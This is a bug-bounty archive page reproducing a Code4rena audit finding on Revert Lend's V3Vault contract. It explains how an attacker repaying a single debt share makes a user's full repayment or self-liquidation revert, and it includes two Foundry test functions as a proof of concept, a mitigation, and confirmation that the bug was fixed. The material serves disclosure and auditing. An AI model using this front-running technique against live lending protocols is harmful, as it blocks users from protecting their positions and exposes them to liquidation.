Skip to content
DoS Audit finding Intermediate

Repayments and liquidations can be forced to revert by an attacker that repays minuscule amount of shares

The repay and liquidate functions revert if the requested shares exceed the current debt shares, so an attacker can repay a tiny amount (e.g., one share) to make a user's full repayment or self-liquidation fail. This can prevent users from improving their health or self-liquidating, potentially leading to liquidation by the attacker.

kfx Follow with kinda_very_good, zxriptor and 21 others

Originally disclosed on Code4rena

Submitted by kfx, also found by kinda_very_good, zxriptor, CaeraDenoir, grearlake (1, 2), falconhoof, 0x175, JohnSmith, Giorgio, JecikPo, jnforja, SpicyMeatball, shaka, givn, Aymen0909, AMOW, atoko, Norah, alexander_orjustalex, JCN (1, 2), web3Tycoon, erosjohn, lanrebayode77, nmirchev8, 0xjuan, and 0xAlix2

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L973-L975

Impact

At the moment, both repay and liquidate calls will fail if the amount of shares that the transaction attempts to repay exceeds the outstanding debt shares of the position, with RepayExceedsDebt and DebtChanged errors respectively.

This enables an attacker to keep repaying very small amounts, such as 1 share, of the debt, causing user/liquidator transactions to fail.

The attack exposes risks for users who are close to the liquidation theshold from increasing their position’s health, and also from self-liquidating their positions once they’re already below the threshold.

Proof of Concept

    function testRepaymentFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's repayment fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.RepayExceedsDebt.selector);
        vault.repay(TEST_NFT, debtShares, true); // try to repay all shares

        // attacker (or someone else) can liquidate the position now
        vm.prank(attacker);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares - 1, 0, 0, attacker, ""));
    }

    function testLiquidationFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);

        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's self-liquidation fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }

Recommended Mitigation Steps

Allow to attempt to repay an unlimited amount of shares. Send back to the user tokens that were not required for the full repayment.

Assessed type

DoS

kalinbas (Revert) confirmed

ronnyx2017 (judge) commented:

The attack vector includes MEV as a necessary condition.

Revert mitigated:

Fixed here and here.

Status: Mitigation Confirmed. Full details in reports from b0g0, thank_you and ktg.


The original report as published on Code4rena, by kfx. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The functions revert when the requested repayment or liquidation amount exceeds the current debt shares, without allowing excess shares to be ignored or refunded.

Impact

Users close to the liquidation threshold cannot increase their position's health, and users below the threshold cannot self-liquidate, potentially allowing the attacker to liquidate the position.

What the attacker needed

Attacker has a small amount of loan token; attacker can front-run user transactions (MEV)

The fix

The protocol was fixed by allowing repayment of an unlimited amount of shares and refunding any excess tokens.

How it was found

  1. Attacker obtains a small amount of the loan token and approves the vault to spend it.
  2. Attacker waits for interest to accrue, increasing the debt shares.
  3. Attacker calls repay with 1 share, reducing the debt shares by 1.
  4. When the user tries to repay the original debt shares, the transaction reverts with RepayExceedsDebt.
  5. When the user tries to self-liquidate with the original debt shares, the transaction reverts with DebtChanged.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In this lending system, users repay debt by specifying an amount of 'shares'. If someone else repays even a tiny amount first, the total shares owed changes, so a later attempt to repay the original full amount fails because it now exceeds the debt. The same happens for liquidation, so an attacker can block a user from repaying or self-liquidating.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by kfx

View all

2 more disclosed reports, best first.

More from Revert Lend

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.